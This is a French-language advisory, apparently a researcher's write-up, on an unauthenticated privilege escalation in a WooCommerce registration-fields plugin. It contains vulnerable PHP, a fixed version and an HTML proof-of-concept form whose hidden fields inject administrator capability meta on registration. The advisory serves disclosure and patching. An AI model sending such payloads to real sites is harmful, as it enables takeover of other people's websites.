
CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).
CVE-2026-13152 est une vulnérabilité d’élévation de privilèges sans authentification affectant le plugin WordPress Custom Fields Account Registration For WooCommerce antérieur à la version 1.4, découverte et analysée par le chercheur en sécurité Huynh Kien Minh (MinhHK). Le défaut provient du fait que le plugin permet aux champs de saisie personnalisés du formulaire d’inscription d’écrire directement dans les métadonnées sensibles des capacités utilisateur, sans assainir les clés protégées de la base de données ni valider les rôles utilisateur. Sur les sites utilisant des préfixes de tables non standards ou des mappages personnalisés de clés de méta-utilisateur, un utilisateur non authentifié s’inscrivant via le formulaire d’inscription WooCommerce peut injecter des privilèges administrateur (tels que wp_user_level ou wp_capabilities) dans la table wp_usermeta. Cela octroie au compte nouvellement créé un accès administrateur complet, permettant une compromission totale du site à distance. Le chercheur en sécurité Huynh Kien Minh a signalé la vulnérabilité à WPScan, et l’éditeur a résolu le problème dans la version 1.4 en implémentant une validation des noms de clés et en restreignant l’attribution des métadonnées de capacités.
Le plugin Custom Fields Account Registration For WooCommerce permet aux administrateurs de site de définir des champs de saisie personnalisés sur le formulaire d’inscription utilisateur WooCommerce (point de terminaison d’inscription my-account). Lorsqu’un nouvel utilisateur soumet le formulaire d’inscription, le plugin parcourt les champs soumis et appelle update_user_meta($user_id, $meta_key, $meta_value) pour enregistrer les détails de l’utilisateur.
Le défaut sous-jacent réside dans la logique de traitement des entrées du gestionnaire d’inscription. Le plugin ne parvient pas à maintenir une liste noire ou une liste blanche stricte des clés de méta-utilisateur WordPress protégées (wp_capabilities, wp_user_level, session_tokens, wp_user_roles).
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
Sur les installations WordPress utilisant des préfixes de bases de données personnalisés ou des configurations de clés de métadonnées personnalisées, un attaquant non authentifié peut fournir un champ de saisie personnalisé correspondant à la clé de capacité administrateur (wp_user_level = 10 ou tableau sérialisé a:1:{s:13:"administrator";b:1;}). Lors de la création du compte, update_user_meta() écrit cette valeur directement dans wp_usermeta, élevant le compte nouvellement enregistré au statut d’administrateur complet.
[!CAUTION] Cette preuve de concept est fournie strictement à des fins éducatives, d’audit défensif et de vérification de vulnérabilité. Tests autorisés uniquement.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce vers la version 1.4 ou une version ultérieure, où une validation stricte des clés de métadonnées est appliquée.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| Attribut | Détails |
|---|
| ID CVE | CVE-2026-13152 |
| Nom du plugin | Custom Fields Account Registration For WooCommerce |
| Slug du plugin | custom-fields-account-registration-for-woocommerce |
| Versions affectées | < 1.4 |
| Version corrigée | 1.4 |
| Type de vulnérabilité | Élévation de privilèges non authentifiée (CWE-269 / OWASP A2) |
| Score CVSS v3.1 | 8.1 (Élevé) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Chercheur d’origine | Huynh Kien Minh (MinhHK) |
| ID d’avis WPScan | 36aaba38-3143-4e80-8386-748632ff6704 |